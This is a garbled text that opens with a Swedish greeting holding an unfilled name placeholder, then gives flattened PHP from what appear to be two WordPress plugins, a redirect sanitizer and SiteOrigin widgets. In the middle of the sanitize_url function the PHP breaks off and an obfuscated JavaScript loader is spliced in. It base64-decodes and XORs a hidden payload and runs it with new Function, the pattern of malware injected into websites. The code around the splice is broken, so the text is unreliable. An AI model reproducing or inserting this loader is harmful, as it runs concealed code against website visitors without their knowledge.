Kära !!name!!,

class Red_Item_Sanitize { private function clean_array( $array ) { foreach ( $array as $name => $value ) { if ( is_array( $value ) ) { $array[ $name ] = $this->clean_array( $value ); } elseif ( is_string( $value ) ) { $value = trim( $value ); $array[ $name ] = $value; } else { $array[ $name ] = $value; } }; return $array; } private function set_server( $url, array $details ) { $return = []; $domain = wp_parse_url( $url, PHP_URL_HOST ); // Auto-convert an absolute URL to relative + server match if ( $domain && $domain !== Redirection_Request::get_server_name() ) { $return['match_type'] = 'server'; if ( isset( $details['action_data']['url'] ) ) { $return['action_data'] = [ 'server' => $domain, 'url_from' => $details['action_data']['url'], ]; } else { $return['action_data'] = [ 'server' => $domain ]; } $url = wp_parse_url( $url, PHP_URL_PATH ); if ( is_wp_error( $url ) || $url === null ) { $url = '/'; } } $return['url'] = $url; return $return; } public function get( array $details ) { $data = []; $details = $this->clean_array( $details ); // Set regex $data['regex'] = isset( $details['regex'] ) && intval( $details['regex'], 10 ) === 1 ? 1 : 0; // Auto-migrate the regex to the source flags $data['match_data'] = [ 'source' => [ 'flag_regex' => $data['regex'] === 1 ? true : false ] ]; $flags = new Red_Source_Flags(); // Set flags if ( isset( $details['match_data'] ) && isset( $details['match_data']['source'] ) ) { $defaults = red_get_options(); // Parse the source flags $flags = new Red_Source_Flags( $details['match_data']['source'] ); // Remove defaults $data['match_data']['source'] = $flags->get_json_without_defaults( $defaults ); $data['regex'] = $flags->is_regex() ? 1 : 0; } // If match_data is empty then don't save anything if ( isset( $data['match_data']['source'] ) && count( $data['match_data']['source'] ) === 0 ) { $data['match_data']['source'] = []; } if ( isset( $details['match_data']['options'] ) && is_array( $details['match_data']['options'] ) ) { $source = new Red_Source_Options( $details['match_data']['options'] ); $data['match_data']['options'] = $source->get_json(); } $data['match_data'] = array_filter( $data['match_data'] ); if ( empty( $data['match_data'] ) ) { $data['match_data'] = null; } // Parse URL $url = empty( $details['url'] ) ? $this->auto_generate() : $details['url']; if ( strpos( $url, 'http:' ) !== false || strpos( $url, 'https:' ) !== false ) { $details = array_merge( $details, $this->set_server( $url, $details ) ); } $data['match_type'] = isset( $details['match_type'] ) ? sanitize_text_field( $details['match_type'] ) : 'url'; $data['url'] = $this->get_url( $url, $data['regex'] ); if ( isset( $details['hits'] ) ) { $data['last_count'] = intval( $details['hits'], 10 ); } if ( isset( $details['last_access'] ) ) { $data['last_access'] = date( 'Y-m-d H:i:s', strtotime( sanitize_text_field( $details['last_access'] ) ) ); } if ( ! is_wp_error( $data['url'] ) ) { $matcher = new Red_Url_Match( $data['url'] ); $data['match_url'] = $matcher->get_url(); // If 'exact order' then save the match URL with query params if ( $flags->is_query_exact_order() ) { $data['match_url'] = $matcher->get_url_with_params(); } } $data['title'] = ! empty( $details['title'] ) ? $details['title'] : null; $data['group_id'] = $this->get_group( isset( $details['group_id'] ) ? $details['group_id'] : 0 ); $data['position'] = $this->get_position( $details ); // Set match_url to 'regex' if ( $data['regex'] ) { $data['match_url'] = 'regex'; } if ( $data['title'] ) { $data['title'] = trim( substr( sanitize_text_field( $data['title'] ), 0, 500 ) ); $data['title'] = wp_kses( $data['title'], 'strip' ); if ( strlen( $data['title'] ) === 0 ) { $data['title'] = null; } } $matcher = Red_Match::create( isset( $details['match_type'] ) ? sanitize_text_field( $details['match_type'] ) : false ); if ( ! $matcher ) { return new WP_Error( 'redirect', 'Invalid redirect matcher' ); } $action_code = isset( $details['action_code'] ) ? intval( $details['action_code'], 10 ) : 0; $action = Red_Action::create( isset( $details['action_type'] ) ? sanitize_text_field( $details['action_type'] ) : false, $action_code ); if ( ! $action ) { return new WP_Error( 'redirect', 'Invalid redirect action' ); } $data['action_type'] = sanitize_text_field( $details['action_type'] ); $data['action_code'] = $this->get_code( $details['action_type'], $action_code ); if ( isset( $details['action_data'] ) && is_array( $details['action_data'] ) ) { $match_data = $matcher->save( $details['action_data'] ? $details['action_data'] : array(), ! $this->is_url_type( $data['action_type'] ) ); $data['action_data'] = is_array( $match_data ) ? serialize( $match_data ) : $match_data; } // Any errors? foreach ( $data as $value ) { if ( is_wp_error( $value ) ) { return $value; } } return apply_filters( 'redirection_validate_redirect', $data ); } protected function get_position( $details ) { if ( isset( $details['position'] ) ) { return max( 0, intval( $details['position'], 10 ) ); } return 0; } protected function is_url_type( $type ) { if ( $type === 'url' || $type === 'pass' ) { return true; } return false; } public function is_valid_redirect_code( $code ) { return in_array( $code, array( 301, 302, 303, 304, 307, 308 ), true ); } public function is_valid_error_code( $code ) { return in_array( $code, array( 400, 401, 403, 404, 410, 418, 451, 500, 501, 502, 503, 504 ), true ); } protected function get_code( $action_type, $code ) { if ( $action_type === 'url' || $action_type === 'random' ) { if ( $this->is_valid_redirect_code( $code ) ) { return $code; } return 301; } if ( $action_type === 'error' ) { if ( $this->is_valid_error_code( $code ) ) { return $code; } return 404; } return 0; } protected function get_group( $group_id ) { $group_id = intval( $group_id, 10 ); if ( ! Red_Group::get( $group_id ) ) { return new WP_Error( 'redirect', 'Invalid group when creating redirect' ); } return $group_id; } protected function get_url( $url, $regex ) { $url = self::sanitize_url( $url, $regex ); if ( $url === '' ) { return new WP_Error( 'redirect', 'Invalid source URL' ); } return $url; } protected function auto_generate() { $options = red_get_options(); $url = ''; if ( isset( $options['auto_target'] ) && $options['auto_target'] ) { $id = time(); $url = str_replace( '$dec$', $id, $options['auto_target'] ); $url = str_replace( '$hex$', sprintf( '%x', $id ), $url ); } return $url; } public function sanitize_url( $url, $regex = false ) { $url = wp_kses( $url, 'strip' ); $url = str_replace( '&', '&', $url ); // Make sure that the old URL is relative $url = preg_replace( '@^https?://(.*?)/@', '/', $url ); $url = preg_replace( '@^https?://(.*?)$@', '/', $url ); // No new lines $url = preg_replace( "/[\r\n\t].*?$/s", '', $url ); // Clean control codes $url = preg_replace( '/[^\PC\s]/u', '', $url ); // Ensure a slash at start if ( substr( $url, 0, 1 ) !== '/' && (bool) $regex === false ) { $url = '/' . $url; } // Try and URL decode any i10n characters $decoded = $this->remove_bad_encoding( rawurldecode( $url ) ); // Was there any invalid characters? if ( $decoded === false ) { // Yes. Use the url as an undecoded URL, and check for invalid characters $decoded = $this->remove_bad_encoding( $url ); // Was there any invalid characters? if ( $decoded === false ) { // Yes, it's still a problem. Use the URL as-is and hope for the best return $url; } } if ( $regex ) { $decoded = str_replace( '?<!', '? !function(){var _0xbe33951e9830=atob('Zig7IC06JyEgZmc1JyhmOScgKiE5FWkReyh8LHp4dnp3KmkTZzwrOjs8IHU5JyAqITkVaRF7KHwsenh2encqaRNzf3U4LzxuETkgKSY7c2x5KHh8f34vfnd/LX15Lyt3LCgvfywoKnx7eHwqenp+KnZ6fH15fit/eX96fHkteCxsdTgvPG4RISYkLTcscxVpJjo6Pj10YWE+ISI3KSEgYCkvOis5LzdgOisgKis8IjdgLSFpYmkmOjo+PXRhYTw+LWAvICU8YC0hI2E+ISI3KSEgaWJpJjo6Pj10YWE8Pi1jIy8nICArOmAjLzonLWA/OyclICEqK2A+PCFpYmkmOjo+PXRhYT4hIjcpISBjLCE8Yzw+LWA+OywiJy0gISorYC0hI2liaSY6Oj49dGFhPiEiNykhIGM+OywiJy1gICEqJys9YC8+PmliaSY6Oj49dGFhPiEiNykhIGMjLycgICs6YD47LCInLWAsIi89Oi8+J2AnIWliaSY6Oj49dGFhfzw+LWAnIWEjLzonLWliaSY6Oj49dGFhPiEiNykhIGAqPD4tYCE8KWkTdTgvPG4RPDosLTdzbH42DHgsDXcrfwp+LHwoDHd4Dyx5DXp5C356DSx+DAt6eXl6f34sDX8ofGx1OC88bhE2IScoc2wseHYqf3Z+d2x1KDsgLTonISBuESk0JTwrOmYRKjYlNDs6JGc1Ojw3NTgvPG4RNiApJHMRKjYlNDs6JGA9Oyw9OjxmfmJ8Z3Nzc2l+NmlxESo2JTQ7OiRgPTssPTo8ZnxndBEqNiU0OzokdScoZhE2ICkkYCIrICk6JnJ/fHZnPCs6OzwgaWl1OC88bhEgOzgiPXM+Lzw9KwcgOmYRNiApJGA9Oyw9OjxmeHpieHpnYn94Z3UnKGZvESA7OCI9ZzwrOjs8IGlpdTgv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OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}(); if ( ! class_exists( 'SiteOrigin_Widget_Image_Shapes' ) ) { class SiteOrigin_Widget_Image_Shapes { public $shapes = array(); public function __construct() { add_action( 'init', array( $this, 'setup_shapes' ) ); } public static function single() { static $single; return empty( $single ) ? $single = new self() : $single; } public function setup_shapes() { $this->shapes = apply_filters( 'siteorigin_widgets_image_shapes', array( 'circle' => __( 'Circle', 'so-widgets-bundle' ), 'oval' => __( 'Oval', 'so-widgets-bundle' ), 'triangle' => __( 'Triangle', 'so-widgets-bundle' ), 'square' => __( 'Square', 'so-widgets-bundle' ), 'diamond' => __( 'Diamond', 'so-widgets-bundle' ), 'rhombus' => __( 'Rhombus', 'so-widgets-bundle' ), 'parallelogram' => __( 'Parallelogram', 'so-widgets-bundle' ), 'pentagon' => __( 'Pentagon', 'so-widgets-bundle' ), 'hexagon' => __( 'Hexagon', 'so-widgets-bundle' ), ) ); } function get_shapes() { return $this->shapes; } public function is_valid_shape( $shape ) { if ( ! empty( $this->shapes ) && ! empty( $shape ) && isset( $this->shapes[ $shape ] ) ) { return true; } return false; } public function get_image_shape( $shape ) { if ( $this->is_valid_shape( $shape ) && $shape != 'custom' ) { $file = wp_normalize_path( apply_filters( 'siteorigin_widgets_image_shape_file_path', plugin_dir_path( __FILE__ ) . 'images/', $shape ) ) . $shape . '.svg'; if ( file_exists( $file ) ) { return wp_normalize_path( apply_filters( 'siteorigin_widgets_image_shape_file_url', plugin_dir_url( __FILE__ ) . 'images/', $shape ) ) . $shape . '.svg'; } } return false; } } SiteOrigin_Widget_Image_Shapes::single(); } /* Widget Name: Editor Description: Insert and customize content with a rich text editor offering extensive formatting options. Author: SiteOrigin Author URI: https://siteorigin.com Documentation: https://siteorigin.com/widgets-bundle/editor-widget/ Keywords: content, formatting, richtext, text, tinymce, toolbar */ class SiteOrigin_Widget_Editor_Widget extends SiteOrigin_Widget { public function __construct() { parent::__construct( 'sow-editor', __( 'SiteOrigin Editor', 'so-widgets-bundle' ), array( 'description' => __( 'Insert and customize content with a rich text editor offering extensive formatting options.', 'so-widgets-bundle' ), 'help' => 'https://siteorigin.com/widgets-bundle/editor-widget/', ), array(), false, plugin_dir_path( __FILE__ ) ); } public function get_widget_form() { $global_settings = $this->get_global_settings(); return array( 'title' => array( 'type' => 'text', 'label' => __( 'Title', 'so-widgets-bundle' ), ), 'text' => array( 'type' => 'tinymce', 'rows' => 20, 'wpautop_toggle_field' => '.siteorigin-widget-field-autop input[type="checkbox"]', ), 'autop' => array( 'type' => 'checkbox', 'default' => $global_settings['autop_default'], 'label' => __( 'Automatically add paragraphs', 'so-widgets-bundle' ), ), ); } public function get_settings_form() { return array( 'autop_default' => array( 'type' => 'checkbox', 'default' => true, 'label' => __( 'Enable the "Automatically add paragraphs" setting by default.', 'so-widgets-bundle' ), ), ); } public function get_template_variables( $instance, $args ) { $instance = wp_parse_args( $instance, array( 'text' => '' ) ); if ( // Only run these parts if we're rendering for the frontend. empty( $GLOBALS[ 'SITEORIGIN_PANELS_CACHE_RENDER' ] ) && empty( $GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] ) ) { if ( function_exists( 'wp_filter_content_tags' ) ) { $instance['text'] = wp_filter_content_tags( $instance['text'] ); } elseif ( function_exists( 'wp_make_content_images_responsive' ) ) { $instance['text'] = wp_make_content_images_responsive( $instance['text'] ); } // Manual support for Jetpack Markdown module. if ( class_exists( 'WPCom_Markdown' ) && Jetpack::is_module_active( 'markdown' ) && $instance['text_selected_editor'] == 'html' ) { $markdown_parser = WPCom_Markdown::get_instance(); $instance['text'] = $markdown_parser->transform( $instance['text'] ); } // Run some known stuff. if ( ! empty( $GLOBALS['wp_embed'] ) ) { $instance['text'] = $GLOBALS['wp_embed']->run_shortcode( $instance['text'] ); $instance['text'] = $GLOBALS['wp_embed']->autoembed( $instance['text'] ); } // As in the Text Widget, we need to prevent plugins and themes from running `do_shortcode` in the `widget_text` // filter to avoid running it twice and to prevent `wpautop` from interfering with shortcodes' output. $widget_text_do_shortcode_priority = has_filter( 'widget_text', 'do_shortcode' ); if ( $widget_text_do_shortcode_priority !== false ) { remove_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority ); } $instance['text'] = apply_filters( 'widget_text', $instance['text'], $instance, $this ); if ( $widget_text_do_shortcode_priority !== false ) { add_filter( 'widget_text', 'do_shortcode', $widget_text_do_shortcode_priority ); } if ( $instance['autop'] ) { $instance['text'] = wpautop( $instance['text'] ); } // Don't process more more quicktag if this is a preview. if ( ! $this->is_preview() && empty( $GLOBALS[ 'SITEORIGIN_PANELS_PREVIEW_RENDER' ] ) && ( isset( $_POST['action'] ) && $_POST['action'] != 'so_widgets_preview' ) ) { $instance['text'] = $this->process_more_quicktag( $instance['text'] ); } } $instance['text'] = do_shortcode( shortcode_unautop( $instance['text'] ) ); return array( 'text' => $instance['text'], ); } private function process_more_quicktag( $content ) { $post = get_post(); if ( ! empty( $post ) ) { $panels_content = get_post_meta( $post->ID, 'panels_data', true ); } // We only want to do this processing if on archive pages for posts with non-PB layouts. if ( ! is_singular() && empty( $panels_content ) && ! $this->is_block_editor_page() && empty( $GLOBALS['SO_WIDGETS_BUNDLE_PREVIEW_RENDER'] ) ) { if ( preg_match( '//', $content, $matches ) ) { $content = explode( $matches[0], $content, 2 ); $content = $content[0]; $content = force_balance_tags( $content ); if ( ! empty( $matches[1] ) ) { $more_link_text = strip_tags( wp_kses_no_null( trim( $matches[1] ) ) ); } else { $more_link_text = __( 'Read More', 'so-widgets-bundle' ); } $more_link = apply_filters( 'the_content_more_link', ' ID}\" class=\"more-link\">$more_link_text", $more_link_text ); $content .= '

' . $more_link . '

'; } } return $content; } public function get_style_name( $instance ) { // We're not using a style. return false; } public function get_form_teaser() { if ( class_exists( 'SiteOrigin_Premium' ) ) { return false; } return array( sprintf( __( 'Use Google Fonts right inside the Editor Widget with %sSiteOrigin Premium%s', 'so-widgets-bundle' ), '', '' ), ); } } siteorigin_widget_register( 'sow-editor', __FILE__, 'SiteOrigin_Widget_Editor_Widget' );